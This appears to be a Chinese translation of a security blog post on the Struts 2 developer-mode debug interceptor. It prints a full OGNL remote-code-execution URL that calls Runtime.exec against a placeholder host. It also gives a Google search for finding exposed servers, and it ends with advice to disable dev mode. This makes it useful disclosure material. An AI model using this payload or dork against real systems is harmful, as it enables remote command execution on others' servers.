Struts 2 的开发者模式:一个OGNL后门

Struts 2的开发者模式相信很多Struts2的开发人员都很熟悉了,在这种模式中,如果你发出一个HTTP请求,会生成冗余的日志,资源重新加载,避免我们每次改变属性、校验器或者其他东西后都需要重启服务器。 然而有件事情并不是特别广为人知(事实上它甚至没有出现在Struts2开发者模式的官网上):它能够让OGNL插入后门,允许开发人员轻松地从OGNL的控制台检查他们的值栈或者申请参数。这个对开发者来说十分方便的功能一旦被应用程序标示后发布在生产服务器就变成了一个可怕的安全噩梦。

如果我们查看“调试”页面,我们就可以看到一些它是如何工作的相关信息。它使调试截断器给我们带来了一些有趣的指令:

  • XML:转储参数,上下文,会话和值栈,作为XML文档。
  • 控制台:显示一个“OGNL控制台”的弹窗,允许用户测试OGNL对值栈的表达式。来自XML模式的XML数据会被插入在页面的顶端。

image001

命令:测试OGNL表达式,并返回字符串结果。仅由OGNL控制台使用。

  • 浏览器:显示该对象的参数(默认情况下#context)指定对象的字段值。当对象的参数设置,在“#”字符需要转义为“%23”。像debug=browser&object=%23parameters

image002

 

所以我们只要加载下面的页面就可以滥用这个功能执行任何命令:

http://vulnserver.com/some.action?debug=command&expression=%23f=%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29,%23f.setAccessible%28true%29,%23f.set%28%23_memberAccess,true%29,@java.lang.Runtime@getRuntime%28%29.exec%28%27/Applications/Calculator.app/Contents/MacOS/Calculator%27%29

注意,即使是Struts2的最新版本也会运行(其中“允许静态方法访问“使用以前的帖子的净荷解释。

现在,你可能想知道谁在开发模式上发布应用程序了吧?那么自己去检查一下:

https://www.google.com/search?q=intitle%3A%22Struts+Problem+Report%22+%22You+are+seeing+this+page+because+development+mode+is+enabled.%22

所以,千万不要忘了在发布应用程序到生产服务器之前把开发模式禁用掉。

参考链接:http://www.pwntester.com//blog/2014/01/21/struts-2-devmode/

【via@91Ri.org团队